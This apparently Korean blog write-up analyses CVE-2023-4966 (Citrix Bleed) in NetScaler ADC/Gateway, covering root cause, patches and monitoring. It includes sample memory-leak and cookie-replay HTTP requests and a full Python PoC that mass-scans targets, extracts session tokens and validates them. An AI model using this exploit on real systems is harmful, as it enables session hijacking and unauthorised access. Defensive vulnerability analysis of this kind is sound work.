1. NetScaler ADC 및 NetScaler Gateway
- 네트워크를 통해 제공되는 애플리케이션 및 서비스의 성능, 보안, 가용성을 향상시키는 데 사용되는 네트워킹 제품
> NetScaler ADC: 네트워크 내에서 애플리케이션 제공을 최적화하고 보호하는 데 중점 > NetScaler Gateway: 해당 애플리케이션과 내부 리소스에 대한 안전한 원격 액세스를 제공하는 데 중점
2. 취약점
[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-4966 [1]
- NetScaler 장비를 게이트웨이(VPN 가상 서버, ICA 프록시, CVPN, RDP 프록시) 또는 AAA 가상 서버로 구성한 경우 발생하는 취약점 (CVSS: 9.4 )
> BoF로 인해 메모리 값을 반환 하며, 그 중 세션 쿠키 등 유효한 값이 포함되어 있어 세션 하이재킹으로 인증 우회 가 가능
> 여러 공격 그룹에서 취약점을 악용해 랜섬웨어 등을 유포하고 있어 벤더사 및 CISA에서 패치 촉구 [2]
※ AAA (Authentication, Authorization, Accounting) [3][4] ⒜ 세 가지의 독립적이면서도 서로 관련된 구성 요소로 이루어진 프레임워크 ⒝ 불법적인 네트워크 서비스 사용을 방지하고자 사용자 인증, 권한제어, 과금을 위해 다양한 네트워크 기술과 플랫폼들에 대한 개별 규칙들을 조화시키기 위한 프레임워크 ⒞ 일반적으로 서버-클라이언트로 구성 ⒟ Authentication (인증) : 사용자의 접근을 결정하기 위해 사용자의 신원을 검증하는 과정 ⒠ Authorization (권한부여) : 사용자의 신원 검증 후 리소스에 대한 접근 권한 및 정책을 결정 ⒡ Accounting (계정관리) : 사용자의 활동을 기록, 수집하여 과금, 감사, 보고서 기능을 제공
영향받는 버전 - NetScaler ADC 및 NetScaler Gateway 14.1(14.1-8.50 이전) - 13.1-49.15 이전의 NetScaler ADC 및 NetScaler Gateway 13.1 - 13.0-92.19 이전의 NetScaler ADC 및 NetScaler Gateway 13.0 - 13.1-37.164 이전의 NetScaler ADC 13.1-FIPS - 12.1-55.300 이전의 NetScaler ADC 12.1-FIPS - 12.1-55.300 이전의 NetScaler ADC 12.1-NDcPP ※ NetScaler ADC 및 NetScaler Gateway 버전 12.1은 EOL(End-of-Life) 더욱 취약함
2.1 취약점 상세 [5][6][7]
- NetScaler ADC 및 Gateway 제품은 NetScaler 패킷 처리 엔진(nsppe)을 사용하여 TCP/IP 연결 및 HTTP 서비스를 처리
> 취약한 버전의 제품에서 OpenID Connect Discovery 엔드포인트를 구현하는 nsspe 바이너리에서 취약점 발생
- 아래 함수는 OpenID 구성을 위한 JSON 페이로드를 생성하고 snprintf()를 사용해 페이로드에 호스트 이름을 삽입
> snprintf()의 반환값 iVar3를 ns_vpn_send_response에 의해 클라이언트에 전송되는 바이트 수를 결정하는 데 사용되기 때문에 발생
> snprintf가 버퍼에 쓴 바이트 수를 반환하지 않기 때문에 발생
※ “snprintf가 자동으로 문자열을 잘라낼 때, snprintf가 작성한 바이트의 수에 대한 정보는 되돌려주지 않습니다. 오히려 아웃풋 버퍼가 충분한 크기일 때 결과로 나올 법한 바이트의 수를 되돌려주죠.” [8]
iVar3 = snprintf(print_temp_rule,0x20000,
"{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\": \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,iVar3);
- 취약한 URL
hxxtps://<Gateway or ADC IP address>/oauth/idp/.well-known/openid-configuration
- 공격자는 버퍼 크기 0x20000 바이트 를 초과하는 응답을 얻는 요청을 전송
> 해당 요청에 대한 응답으로 메모리값이 노출되며, 대부분 Null 바이트였으나 유의미한 정보가 포함 되어 있음
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: a <repeated 24812 times>
Connection: close
HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 147441
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Citrix-Application: Receiver for Web
{"issuer": "https://aaaaa ...<omitted>... aaaaaaaaaaaaaaaaí§¡
ð
í§¡-ª¼tÙÌåDx013.1.48.47à
d98cd79972b2637450836d4009793b100c3a01f2245525d5f4f58455e445a4a42HTTP/1.1 200 OK
Content-Length: @@@@@
Encode:@@@
Cache-control: no-cache
Pragma: no-cache
Content-Type: text/html
Set-Cookie: NSC_AAAC=@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@;Secure;HttpOnly;Path=/
{"categories":[],"resources":[],"subscriptionsEnabled":false,"username":null}
ð
å
å
PÏÏ
H¡
éÒÏ
eGÁ"RDEFAULT
ò #pack200-gzip
compressdeflategzip
dentity
þÿÿÿÿÿ
©VPN_GLOBALÿÿÿÿÿÿ è"AAA_PARAMí
- 위 응답에서 확인한 유의미한 정보인 쿠키(NSC_AAAC)를 이용해 유효한 세션 쿠키인지 확인이 가능
> 모든 NetScaler 인스턴스가 동일한 종류의 인증을 사용하도록 구성되어 있지는 않음
> 하지만, 테스트한 대부분의 인스턴스에서 32 바이트 또는 65 바이트 길이의 16진수 문자열이 발견
POST /logon/LogonPoint/Authentication/GetUserName HTTP/1.1
Host: 192.168.1.51
Cookie: NSC_AAAC=59d2be99be7a01c9fb10110f42b188670c3a01f2245525d5f4f58455e445a4a42
Content-Length: 0
Connection: close
HTTP/1.1 200 OK
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 4
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
X-Citrix-Application: Receiver for Web
testuser1
2.2 PoC [9]
① URL "/oauth/idp/.well-known/openid-configuration"에 GET 메소드 요청을 전송
> 메모리 덤프 시도
② 요청에 대한 서버의 응답에서 유의미한 정보(NSC_AAAC: 세션토큰) 유무 확인
③ NSC_AAAC 헤더를 설정해 "/logon/LogonPoint/Authentication/GetUserName" URL에 POST 메소드 요청 전송
> 해당 세션 토큰이 유효한지 확인
import re
import sys
import argparse
import requests
from urllib.parse import urlparse
from rich.console import Console
from alive_progress import alive_bar
from typing import List, Tuple, Optional, TextIO
from concurrent.futures import ThreadPoolExecutor, as_completed
warnings = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)
class CitrixMemoryDumper:
SESSION_PATTERN = re.compile(rb'(?=([a-f0-9]{65}))')
def __init__(self):
self.console = Console()
self.parser = argparse.ArgumentParser(description='Citrix ADC Memory Dumper')
self.setup_arguments()
self.results: List[Tuple[str, str]] = []
self.output_file: Optional[TextIO] = None
if self.args.output:
self.output_file = open(self.args.output, 'w')
def setup_arguments(self) -> None:
self.parser.add_argument('-u', '--url', help='The Citrix ADC / Gateway target (e.g., https://192.168.1.200)')
self.parser.add_argument('-f', '--file', help='File containing a list of target URLs (one URL per line)')
self.parser.add_argument('-o', '--output', help='File to save the output results')
self.parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose mode')
self.parser.add_argument('--only-valid', action='store_true', help='Only show results with valid sessions')
self.args = self.parser.parse_args()
def print_results(self, header: str, result: str) -> None:
if self.args.only_valid and "[+]" not in header:
return
formatted_msg = f"{header} {result}"
self.console.print(formatted_msg, style="white")
if self.output_file:
self.output_file.write(result + '\n')
def normalize_url(self, url: str) -> str:
if not url.startswith("http://") and not url.startswith("https://"):
url = f"https://{url}"
parsed_url = urlparse(url)
normalized_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
return normalized_url
def dump_memory(self, url: str) -> None:
full_url = self.normalize_url(url)
headers = {
"Host": "a" * 24576
}
try:
r = requests.get(
f"{full_url}/oauth/idp/.well-known/openid-configuration",
headers=headers,
verify=False,
timeout=10,
)
content_bytes = r.content
if r.status_code == 200 and content_bytes:
cleaned_content = self.clean_bytes(content_bytes).replace(b'a'*65, b'')
if self.args.verbose and self.args.url:
self.results.append(("[bold blue][*][/bold blue]", f"Memory Dump for {full_url}"))
self.results.append(("text", cleaned_content.decode('utf-8', 'ignore')))
self.results.append(("[bold blue][*][/bold blue]", "End of Dump\n"))
session_tokens = self.find_session_tokens(content_bytes)
valid_token_found = False
for token in session_tokens:
if self.test_session_cookie(full_url, token):
valid_token_found = True
if not valid_token_found:
if not self.args.only_valid:
if self.args.url:
self.results.append(("[bold yellow][!][/bold yellow]", f"Partial memory dump but no valid session token found for {full_url}."))
else:
self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {full_url}, but no valid session token found."))
elif self.args.verbose and self.args.url:
self.results.append(("[bold red][-][/bold red]", f"Could not dump memory for {full_url}."))
except Exception as e:
if self.args.verbose and self.args.url:
self.results.append(("[bold red][-][/bold red]", f"Error processing {full_url}: {str(e)}."))
def clean_bytes(self, data: bytes) -> bytes:
return b''.join(bytes([x]) for x in data if 32 <= x <= 126)
def find_session_tokens(self, content_bytes: bytes) -> List[str]:
sessions = [match.group(1).decode('utf-8') for match in self.SESSION_PATTERN.finditer(content_bytes) if match.group(1).endswith(b'45525d5f4f58455e445a4a42')]
return sessions
def test_session_cookie(self, url: str, session_token: str) -> bool:
headers = {
"Cookie": f"NSC_AAAC={session_token}"
}
try:
r = requests.post(
f"{url}/logon/LogonPoint/Authentication/GetUserName",
headers=headers,
verify=False,
timeout=10,
)
if r.status_code == 200:
username = r.text.strip()
self.results.append(("[bold green][+][/bold green]", f"Vulnerable to CVE-2023-4966. Endpoint: {url}, Cookie: {session_token}, Username: {username}"))
return True
else:
return False
except Exception as e:
self.results.append(("[bold red][-][/bold red]", f"Error testing cookie for {url}: {str(e)}."))
return False
def run(self) -> None:
if self.args.url:
self.dump_memory(self.args.url)
for header, result in self.results:
self.print_results(header, result)
elif self.args.file:
with open(self.args.file, 'r') as file:
urls = file.read().splitlines()
with ThreadPoolExecutor(max_workers=200) as executor, alive_bar(len(urls), bar='smooth', enrich_print=False) as bar:
futures = {executor.submit(self.dump_memory, url): url for url in urls}
for future in as_completed(futures):
for header, result in self.results:
self.print_results(header, result)
self.results.clear()
bar()
else:
self.console.print("[bold red][-][/bold red] URL or File must be provided.", style="white")
sys.exit(1)
if self.output_file:
self.output_file.close()
if __name__ == "__main__":
dumper = CitrixMemoryDumper()
dumper.run()
3. 대응방안
- 벤더사 제공 업데이트 적용 [10][11]
> 해당 취약점 외 DDoS( CVE-2023-4967)을 포함한 업데이트 제공
> 업데이트 버전에서는 snprintf()의 반환값 uVar7이 0x20000 보다 작은 경우에만 응답이 전송 되도록 함
제품명
영향받는 버전
해결버전
NetScaler ADC 및 NetScaler Gateway 14.1
14.1-8.50 이전 버전
14.1-8.50
NetScaler ADC 및 NetScaler Gateway 13.1
13.1-49.15 이전 버전
13.1-49.15
NetScaler ADC 및 NetScaler Gateway 13.0
13.0-92.19 이전 버전
13.0-92.19
NetScaler ADC 13.1-FIPS
13.1-37.164 이전 버전
13.1-37.164
NetScaler ADC 12.1-FIPS
12.1-55.300 이전 버전
12.1-55.300
NetScaler ADC 12.1-NDcPP
12.1-55.300 이전 버전
12.1-55.300
uVar7 = snprintf(print_temp_rule,0x20000,
"{\"issuer\": \"https://%.*s\", \"authorization_endpoint\": \"https://%.*s/oauth/ idp/login\", \"token_endpoint\": \"https://%.*s/oauth/idp/token\", \"jwks_uri\": \"https://%.*s/oauth/idp/certs\", \"response_types_supported\": [\"code\", \"toke n\", \"id_token\"], \"id_token_signing_alg_values_supported\": [\"RS256\"], \"end _session_endpoint\": \"https://%.*s/oauth/idp/logout\", \"frontchannel_logout_sup ported\": true, \"scopes_supported\": [\"openid\", \"ctxs_cc\"], \"claims_support ed\": [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\", \"auth_time\", \"acr\", \"amr \", \"email\", \"given_name\", \"family_name\", \"nickname\"], \"userinfo_endpoin t\": \"https://%.*s/oauth/idp/userinfo\", \"subject_types_supported\": [\"public\"]}"
,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8,uVar5,pbVar8);
uVar4 = 0x20;
if (uVar7 < 0x20000) {
authv2_json_resp = 1;
iVar3 = ns_vpn_send_response(param_1,0x100040,print_temp_rule,uVar7);
...
}
- 모니터링 강화
> 로그 파일(/var/log/ns.log. nslog) 점검_외부 IP에서의 접속, 동일 IP의 여려 세션 생성 시도 등
> 취약점 악용 시도 탐지를 위한 규칙 적용
4. 참고
[1] https://nvd.nist.gov/vuln/detail/CVE-2023-4966 [2] https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a [3] https://layer3.tistory.com/11 [4] https://jhkim3624.tistory.com/205 [5] https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966 [6] https://www.picussecurity.com/resource/blog/cve-2023-4966-lockbit-exploits-citrix-bleed-in-ransomware-attacks [7] https://www.mandiant.com/resources/blog/session-hijacking-citrix-cve-2023-4966 [8] https://www.boannews.com/media/news_print.asp?idx=74361
[9] https://github.com/mlynchcogent/CVE-2023-4966-POC
[10] https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967 [11] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=2&categoryCode=&nttId=71231 [12] https://www.boannews.com/media/view.asp?idx=123060&page=1&kind=4 [13] https://www.boannews.com/media/view.asp?idx=123321&page=1&kind=1 [14] https://www.boannews.com/media/view.asp?idx=123993&page=1&kind=1